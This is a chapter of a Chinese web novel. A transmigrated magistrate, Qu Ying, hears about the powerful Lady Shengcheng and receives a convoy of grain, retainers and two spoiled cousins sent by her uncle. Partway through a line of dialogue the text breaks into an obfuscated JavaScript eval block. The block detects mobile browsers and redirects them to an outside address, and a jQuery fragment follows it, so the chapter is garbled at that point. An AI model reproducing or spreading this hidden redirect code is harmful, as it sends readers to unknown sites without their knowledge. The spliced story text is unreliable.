18. 零一八
作品:《带着游戏面板搞基建》 身份不一般的卢家女?
梅寄雪听了屈楹的话,脱口而出:“嵊城县主?!”
“嵊城县主?”
梅寄雪点点头,“嵊城县主,卢晴光,前安北侯之女,如今安北侯是她舅父,倘若没记错,嵊城县主十二岁上战场,二十一岁当统帅,二十七岁执掌苍炎军,若无意外,她将会是下一任安北侯。”
听起来的确很不一般。
会是她吗?
屈楹问她:“你有没有听过我叔父和这位嵊城县主有什么交集?”
梅寄雪顿了顿,犹豫开口:“大人,敢问你叔父是?”
“……”
屈楹有种问了也是白问的直觉。
但屈楹抱着瞎猫撞见死耗子的心态,还是回答:“吏部侍郎,屈烨。”
果不其然梅寄雪摇摇头,一脸茫然,不认识,她对世家实在不了解。
她知道嵊城县主卢晴光,因为若无意外,嵊城县主以后将会是整个西北的主人,是足以影响天下格局的响当当人物。
屈家叔父活跃在南方和京都,而嵊城县主在西北,几乎没有踏出过武安府。这两人看起来八竿子打不着。如果不是屈楹提起,她根本不会将两人放在一起。
而且屈楹作为亲侄女都没不知道两人之间是否有交集,她就更不可能知道了。
不过屈楹既然如此问她,难道嵊城县主和屈烨难道真的有不为人知的隐秘往事?
冒牌货·屈楹:……
屈楹听了梅寄雪的话,觉得她说的很有道理,这两人听起来的确不沾边,或许她要找的卢家女根本不是嵊城县主,但是她怎么心里有种预感那封信的收信人或许就是嵊城县主,而且这种预感愈发强烈。
假装没注意到梅寄雪闪烁八卦的眼神,屈楹转而问起她北山的情况。
说到正事,梅寄雪神色一凛:“确定了,的确是苍炎军。”
“可有什么异动?”
“他们只是在集结队伍,并无其他异动。”梅寄雪赞同之前屈楹的猜想:“大人,他们的行动极为隐秘,的确极有可能是受朝廷的密诏,要借道春洪县离开武安府。”
“可有见到他们的领头人?”
“没有。”
屈楹了然。
梅寄雪打包好干粮,继续盯着北山。
春洪县和屈楹初到时已大有不同,看似还是那座破烂城池,但是这座城池开始活了起来。
屈楹难得放下繁琐的公务,骑着马在县里晃悠,看着这座依旧又破又小的春洪县,心里却格外宁静平和,迎着不太友好的风,她慢悠悠穿过大街小巷。
日光也懒洋洋洒在大地上,为城中建筑披上橘红的轻纱。
偶遇街上的百姓和巡逻的衙役,屈楹笑着和他们打招呼。
隔着一段距离望着干得热火朝天的挖井工匠,顶着大太阳监工的柴飞飞,屈楹望了一会儿,趁着没被发现,骑马离开此处。
屈楹抬头眯眼往太阳方向望去,嘴角噙着温柔的笑容,她抬起手遮在额头处。
仙人掌偷偷咔咔拍了几张阳光下的屈楹,扑棱着飞回屈楹怀里。
嘿嘿~
它的宿主真可爱~
不知不觉中,屈楹策马到了城门处,她正准备调转马头回县衙时,屈楹不由得眯起双眼望着敞开的城门外。
滚滚黄尘中,一连串黑点点朝这边袭来,黑点点越来越大。
“仙人掌,好像有人往我们这边来了。我没看错吧?”
仙人掌电子眼比屈楹双眼视力5.0的肉眼好使多了,它确定地说:“楹,不是好像,的确有一队车马往春洪县来了。”
它报出一个准确的数字:“一共捕捉到两百一十七人。”
屈楹惊呼:“两百多人?不会是贼匪吧?!”
那也不太可能啊,两百多人,兴师动众,特意来打劫要钱没钱、要粮没粮的春洪县?
屈楹觉得只要贼匪偷偷脑子没撞傻,都不会做出那么愚蠢的决定。
仙人掌:“应该不是,我看到钱仁了。”
“!!!”
屈楹更惊讶疑惑了。
钱仁带了两百多人回来?!
流民?
那也不对劲,有车有马的,一看就不是流民。那如果不是流民,正常人也不会来春洪县这犄角旮旯破地方啊?
府城护送赈济粮的队伍那更不可能,钱仁满打满算离开春洪县才第六天,根本不够他来回府城到春洪县。
所以那两百人是什么人?
屈楹干脆驭马出城一探究竟。
两者离得越来越近,透过扬扬尘土,屈楹隐约看到一架架板车上的叠起来一袋袋麻袋。
车队两边是两百号身强体壮的男男女女,在车队中间似乎还有四辆马车,最前面的俨然就是钱仁,他在前头领路。
屈楹开始怀疑自己了,好像、的确是运粮队伍!
离得越来越近,屈楹皱眉,不是运粮队伍。
他们不是官府的人,看样子更像是家族部曲。
远远瞧见钱仁虽是一副奔波劳累模样,但神色正常,于是屈楹驱马上前。
“大人,你怎么在此?”
钱仁也瞧见屈楹了,放慢速度,在屈楹面前缓缓停下,惊讶看着守在城门的屈楹。
后面的车队也减慢速度,车队在钱仁身后停下,他们探究的目光落在屈楹身上。
屈楹丝毫不悚,看吧看吧,反正她也不掉肉。
屈楹清凌凌的眼神扫过他们一群人,仿佛羽毛一扫而过,面上神色不动,心下却拉满了戒备。
这两百号人一看就是练家子,要是他们心怀不轨,这小小春洪县简直比纸张还脆弱,一戳就破,而且现在最高战力七娘还让她派去盯着北山了。
屈楹目光落回在钱仁身上,唇角微扬:“我恰好驱马至此,恰好碰上文康你归来。这几位是?”屈楹视线再次移到两百号人身上。
不想钱仁眼中闪过一丝惊诧,“大人你不认得他们吗?”
“?”
难道她应该认得这伙人?
这群人和她,不,和少女屈楹有关?
还不等屈楹头脑风暴,车队的领头人率先翻身下马,低头抱拳拱手:“某单宏泰,见过十六娘。”
屈楹灵光一闪,似乎少女屈楹在族里行十六。
坐在高马上,屈楹垂眸盯着单宏泰,“你们从南州来的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148993|196371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“正是。在下奉侍郎大人命令,携粮而来,为娘子尽绵薄之力。”
侍郎大人,正是她前不久和梅寄雪提起的屈家叔父。
屈楹沉默了阵,她视线落在车队里的粮食上,“这些粮食都是叔父让你们从南方带来的。”
“是,侍郎大人知道平江府旱情未解,朝廷赈济恐不及,为解娘子燃眉之急,侍郎大人早在几月前就安排在下在南方购进一批粮食运往春洪县。”
屈楹不得不说,这句话简直是她来到这个世界听到最让人心动的一句话。
这些!这些粮食都是她的了!
“此外,侍郎大人还有令,命在下和诸位同仁今后随侍娘子左右,供您驱使。即日起,我等便是娘子的人,任凭娘子差遣。我等定当尽心竭力,护佑娘子,绝无二心!”
没想到屈家叔父不仅送粮,还送人,这都送到了屈楹的心坎上了。
不等屈楹感慨屈家叔父为少女屈楹考虑诸多,就听到车队中间的马车喧闹起来。
“怎么突然停了?”
“是到了吧?”
“我们下去看看吧。”
又尖又高的声音从马车里传出,就见打头的那辆马车先后跳出两个半大少年。
一男一女,绫罗绸缎,那穿着打扮一看就出身不凡,他们捂着口鼻东张西望,穿过人群,他们视线与高马上的屈楹对视上。
屈楹还一头雾水,他们就相互拉扯朝她这边跑来。
他们一脸嫌弃从人群中来到屈楹面前,屈楹也看清楚他们了,面容白皙,细皮嫩肉的,一看就是娇生惯养的小郎君小娘子。
小郎君像只骄傲的大鹅扯着脖子,眼神落在屈楹身上,扫了一遍,嘴瘪了瘪,似乎有什么不太符合他的预期,声音尖尖的:“你就是十六娘?”
屈楹:“?”
小娘子扯了扯他的衣袖,声音也是尖尖细细的:“屈梁你还问什么问?单大都给她行礼了,肯定是十六娘了。”
怼完小郎君屈梁,小娘子也挺着脖子,理所当然地跟屈楹说:“十六娘,我们一路从南州府奔波至此,身体疲惫不堪,你给我们安排的住宅在哪?快带我们去吧。”
“屈柔,我可是你兄长!你太无礼了!”
两人说着说着竟当众拌起嘴来了。
听了他们的话,屈楹不由得笑了。
她一脸温柔地看着两只梗脖子的大鹅,嘴里却问:“你们是谁?”
其实屈楹猜到这两个小孩的身份了,也隐约猜到他们到春洪县的原因了。
屈梁听了这话,顿时脸涨红,脾气砰地就上来了,瞪着铜铃大的眼,声音愈发尖细:“你你!你竟然不认识我们!我是你二十二弟!她是你二十三妹!”
还真是她的便宜堂弟堂妹。
屈楹慢悠悠应了声:“哦。”
屈梁叉腰:“哼,你现在知道了吧,赶紧带我们休息。九叔可是要你好好照顾我们俩的!”
九叔正是指屈烨。
屈楹瞥见有话要说的单宏泰,又看了眼那一车车粮食,她对这两个不太礼貌的小孩忍耐程度也高了,笑笑没说话。
屈楹驾马在前,带着一行人进了春洪县。

